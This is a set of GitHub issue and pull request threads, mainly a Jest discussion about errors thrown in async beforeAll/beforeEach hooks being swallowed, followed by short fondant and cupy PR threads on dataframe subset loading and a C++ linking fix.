I was planning on also tackling this since it's very related to that PR I've recently done, but I think it would be helpful to agree on the actual desired behaviour for the edge-case described above before starting to implement it (the same we have run into in the other PR).
IMO all beforeAll hooks should run regardless of whether the previous beforeAll hooks have failed. If a beforeAll hook has failed, none of the subsequent beforeEach, tests, or afterEach should run, but the afterAll hooks should.
The suggestion above would make the behaviour more similar to beforeEach and afterAll, which would be more consistent (IMO).

@lucasfcosta No. The issue here is that the errors thrown in beforeAll are getting swallowed, particularly when using an async function.
They come in as unhandled promise exceptions instead.
I want to actually see the error that gets thrown in beforeAll when I'm using an async function.

Hi @iyobo 😊,
I see what you mean. I'm sorry if I'm misunderstanding the issue but I've tried the following (as per your description) and the failure didn't get swallowed (both in jest-jasmine2 and jest-circus):
beforeAll(async () => {
  throw new Error('Error in beforeAll');
});

it('first test', () => {});

Current log of the code above
 FAIL  e2e/__tests__/beforeAllAbortsTests.test.ts
  ✕ first test

  ● first test

    Error in beforeAll

      1 | beforeAll(async () => {
    > 2 |   throw new Error('Error in beforeAll');
        |         ^
      3 | });
      4 |
      5 | it('first test', () => {});

      at e2e/__tests__/beforeAllAbortsTests.test.ts:2:9
      at asyncGeneratorStep (e2e/__tests__/beforeAllAbortsTests.test.ts:3:103)
      at _next (e2e/__tests__/beforeAllAbortsTests.test.ts:5:194)
      at e2e/__tests__/beforeAllAbortsTests.test.ts:5:364
      at e2e/__tests__/beforeAllAbortsTests.test.ts:5:97

Test Suites: 1 failed, 1 total
Tests:       1 failed, 1 total
Snapshots:   0 total
Time:        0.409s, estimated 1s
Ran all test suites matching /e2e\/__tests__\/beforeAllAbortsTests.test.ts/i.

Watch Usage: Press w to show more.

Perhaps I'm missing something or I misunderstood what you meant? What exactly do you mean by being "swallowed"? Does it mean they are not shown at all?
Again, sorry if I missed any details. Perhaps if you could share a reproducible and indicate which part of the output contains the desired behaviour we could debug this together? I've recently touched that part of the codebase so it's still fresh in my mind (which is why I jumped into this issue).

I am seing the same in my case occasionally "swallowing" behaviour in my CI/CD tests,
    ✕ sendMessage and handle webhooks in perfect order (1639ms)
    ✓ Message of the non sender is synced first (4086ms)
    ✓ Message with an attachement (1739ms)

  ● Message Deduplication Test › sendMessage and handle webhooks in perfect order

      46 |   });
      47 |
    > 48 |   beforeEach(async () => {
         |   ^
      49 |     setTestMode();
      50 |     sendMessage(sendMessage);
      51 |

      at Env.beforeEach (node_modules/jest-jasmine2/build/jasmineAsyncInstall.js:41:24)
      at Suite.beforeEach (src/api/functions/message/queueMessage/__test__/messageCreated.test.js:48:3)
      at Object.describe (src/api/functions/message/queueMessage/__test__/messageCreated.test.js:24:1)

I tried to reproduce this, but throwing an error or generating a timeout is printed just fine, both in my CI/CD environment and my local environment.
The only difference I noticed is that when throwing an error myself (in this case generating a timeout) the error looks like this:
  Message Deduplication Test
    ✕ sendMessage and handle webhooks in perfect order (5006ms)
    ✕ Message of the non sender is synced first (5005ms)
    ✕ Message with an attachement (5001ms)

  ● Message Deduplication Test › sendMessage and handle webhooks in perfect order

    Timeout - Async callback was not invoked within the 5000ms timeout specified by jest.setTimeout.Error: Timeout - Async callback was not invoked within the 5000ms timeout specified by jest.setTimeout.

      at mapper (node_modules/jest-jasmine2/build/queueRunner.js:25:45)

The error which is printing the mssage comes fron
at mapper (node_modules/jest-jasmine2/build/queueRunner.js:25:45)

The one that is not printing anything comes from
at Env.beforeEach (node_modules/jest-jasmine2/build/jasmineAsyncInstall.js:41:24)
at Suite.beforeEach (src/api/functions/message/queueMessage/__test__/messageCreated.test.js:48:3)
at Object.describe (src/api/functions/message/queueMessage/__test__/messageCreated.test.js:24:1)

@lucasfcosta I am wondering if it already breaks somewhere before the async keyword is handled if you are running a heavy load of tests. I could never reproduce this by only running one at a time.

I do believe that the issue lies here. I am not sure why this error swapping is done, but just forwarding the original error gives me the correct underlying error message.
I suppose that everything which does not adhere to the [isError](https://github.com/facebook/jest/blob/master/packages/jest-jasmine2/src/isError.ts check, e.g. a rejected promise, will actually be given out as an empty error message.

I added a repo to reproduce this, its not only a beforeAll issue. Its a general issue with rejected promises https://github.com/philiiiiiipp/jest-async-beforeall-error

Hi @philiiiiiipp, thanks for your reproducible, it was extremely helpful 😊
I managed to reproduce the error by running your example using Node v12.6 (as described by the issue's author).
That error, however, only happens on Jest v24.8, not in the current state of master.
It's possible to verify this by running yarn install and yarn test in your repo (which uses v24.8) and then running the same tests using the current version of master.
The reason why this happened is that _addMissingMessageToStack would not combine the message with the stack due to this regex.test check failing.
This has been fixed by adding a :? to the regex, here. The if condition for doing the replace also changed, but just changing the regex so that the test passes will be enough to fix this.
You can verify this by opening the node_modules file and changing jest-jasmine2/build/reporter.js to use the same value that is in master for ERROR_REGEX and then you will start seeing the promise rejection message.
This happened 26 days ago, so that's why it's not present in the last release.
Given the above I believe this issue can be closed.
Thanks again @philiiiiiipp for the reproducible 💖

Cool :-)
I tried it by changing the jest-jasmine ERROR_REGEX and now it shows perfectly fine. ( node v10.16.0 )
I also noticed that using jest-circus this is fixed as well. Which, I guess makes sense since it replaces jest-jasmine2.

This is still unreleased/fixed. My dirty workaround:
// setup-after-env.js
const _beforeEach = global.beforeEach;
global.beforeEach = fn => {
  _beforeEach(async () => {
    try {
      await fn();
    } catch (e) {
      console.error(e);
      throw e;
    }
  });
};

@krzkaczor saved my life when debugging, thanks a lot man!

The "dirty workaround" from above didn't work for me, but switching to circus runner did - https://github.com/facebook/jest/blob/master/packages/jest-circus/README.md.

When you combine this issue with this one https://github.com/facebook/jest/issues/2441 Thanks get real fun
:raised_eyebrow:

Upgrading jest to the latest version fixed this issue for me (probably due to the new circus runner).


(WIP) Feature/load subset into dataframe

This PR implements a very basic way of merging all subsets into 1 dataframe to be used in the component.
Still to do:

[ ]  add tests
[ ] add more tests

Out of scope of this PR:

[ ] De we add the subset name to the column when loading or when writing (when creating the subset)?
[ ] No indices are used when merging, it is a hash merge right now
[ ] Writing out the resulting dataframe into subsets

This was branched from https://github.com/ml6team/fondant/pull/48 and merges back into it, not sure why the file diff looks at main

Nice, the partitions persisting when writing to and reading from parquet will be really beneficial to us.


Fix undefined symbols in cupy.fft._callback

Fix https://github.com/cupy/cupy/issues/4105#issuecomment-727633420. This reverts commit 30a620db38889692694745f5e738e86f080fe524. It seems when linking all callback objects, a C++ compiler must be used (ex: g++ instead of gcc) in order to resolve undefined symbols (ex: __cxa_pure_virtual).
cc: @llukas @mnicely @emcastillo

Jenkins, test this please

Jenkins CI test (for commit 1978c3f093e7adf07a043fcf880d085f9de4f336, target branch master) succeeded!

Looks like we finally fixed it! No more callback-related errors:
https://jenkins.preferred.jp/job/chainer/job/daily_master_cupy-shuffled/387